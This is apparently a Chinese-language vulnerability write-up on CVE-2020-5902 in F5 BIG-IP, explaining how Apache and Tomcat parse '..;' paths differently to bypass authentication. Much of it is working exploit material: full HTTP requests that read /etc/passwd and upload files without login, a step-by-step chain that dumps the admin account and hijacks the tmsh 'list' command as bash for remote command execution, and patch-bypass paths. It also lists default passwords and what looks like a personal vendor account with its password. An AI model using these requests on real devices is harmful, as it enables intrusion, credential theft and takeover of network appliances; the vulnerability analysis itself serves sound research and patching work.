BIG-IPF5 公司制造的一款多功能网络设备,设备经配置后可作为流量控制系统、负载平衡器、防火墙、访问网关、速率限制器或 SSL 中间件。

基础信息

FOFA指纹:title="BIG-IP®- Redirect"

下载地址:https://downloads.f5.com/esd/eula.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition&path=&file=&B1=I+Accept

F5登录账号:john12334@027168.com/John12334

系统默认账号密码:root/default

Web默认账号密码:admin/admin

Web根目录:/usr/local/www/

影响版本:

F5 BIG-IP < 15.1.0.4
F5 BIG-IP < 14.1.2.6
F5 BIG-IP < 13.1.3.4
F5 BIG-IP < 12.1.5.2
F5 BIG-IP < 11.6.5.2

F5 BIG-IP 设备前端采用 Apache 来接受用户请求,后端可同时处理 PHPJava 程序。而处理 Java 程序时,则是通过 AJP 协议,将 Apache 接收到的数据封装并流转给 Tomcat 。具体配置在 /etc/httpd/conf.d/proxy_ajp.conf 文件中,下面仅贴出关键配置。

# /etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

Apache 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*\.jsp 会进行最大限度的匹配,所以就会将完整的 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于 Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,这里笔者能力有限不做逆向分析。

Tomcat 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符,

具体代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:parsePathParameters() 中。

然后再将 /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp 处理成 /tmui/tmui/locallb/workspace/fileRead.jsp ,具体处理代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:normalize()

所以这次的权限绕过漏洞,实际上还是出在 ApacheTomcatURL 的解析差异。在绕过权限校验后,后台的功能代码基本上都能利用。下面贴几个网上利用最多的几个 JSP 漏洞文件的源码,具体漏洞成因就不再分析了,看源码即可。

未授权任意文件读取

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.43.115
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

未授权任意文件上传

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.43.115
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

fileName=/tmp/1&content=id

未授权命令执行

可以看到想要执行命令,那么就必须满足以下两个条件:

// 命令的第一个指令必须是:create、delete、list、modify其中一个
public static JSONObject runTmshCommand(String command) {
    String operation = command.split(" ")[0];
    if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) {
        error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
    }
}

//命令不能包含以下特殊字符
public static boolean checkForBadShellCharacters(String value) {
    char[] cArray = value.toCharArray();

    for(int i = 0; i < cArray.length; ++i) {
        char c = cArray[i];
        if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') {
            return true;
        }
    }

    return false;
}

所以我们就得去查查 tmsh 的官方手册,看看有什么可以利用的地方。通过查阅手册,我们发现可以给命令定义别名。那么我们实际上可以将上面要求的 create、delete、list、modify 指定成 /bin/bash ,这样就可以执行任意系统命令了。

# 定义别名语法: 
create /cli alias [xx] command ["save /sys config"]

# 删除别名语法:
delete /cli alias [xx]

网上公开的执行命令 POC 步骤如下:

# 获取admin用户账号密码
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

1.修改alias劫持list命令为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash

3.执行bash文件
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx

4.还原list命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

上面几个 Jsp 文件,实际上都没有做任何的权限校验。通过查看 /usr/share/tomcat/conf/web.xml ,可以知道 TomcatHTTP 服务开放在 9832 端口,我们可以直接访问 http://localhost/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 触发任意文件读取漏洞。

利用hsqldb反序列化

国外攻击者发现,该漏洞还可以通过 hsqldb 反序列化执行任意 Java 代码,漏洞利用代码已经公开在 https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 。我们也可以本地写个 Demo 代码,验证这个反序列化漏洞,效果如下。

修复&绕过

在最开始,攻击者通过使用 ..; 来绕过权限验证,官方发布了如下加固措施(禁止路径中有 ..; 符号):

include '

<LocationMatch ".*\.\.;.*">

Redirect 404 /

</LocationMatch>

'

在这补丁之后,攻击者发现可以通过 http://vulnsite/hsqldb;/ 来绕过上面的补丁。于是官方又发布了如下加固措施(禁止路径中有 ; 符号):

include '

<LocationMatch ";">

Redirect 404 /

</LocationMatch>

'

然而研究人员发现漏洞仍然可以通过 http://vulnsite/hsqldb%0a 来触发,最终官方发布了如下加固措施(禁止路径中有 ; 符号以及 hsqldb 字符串):

include '

<LocationMatch ";">

Redirect 404 /

</LocationMatch>

<LocationMatch "hsqldb">

Redirect 404 /

</LocationMatch>

'

参考

https://medium.com/certik/cve-2020-5902-analysis-f5-big-ip-rce-vulnerability-3a3ae6278128
https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
漏洞风险提示 | F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902)缓解方案绕过(二)

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖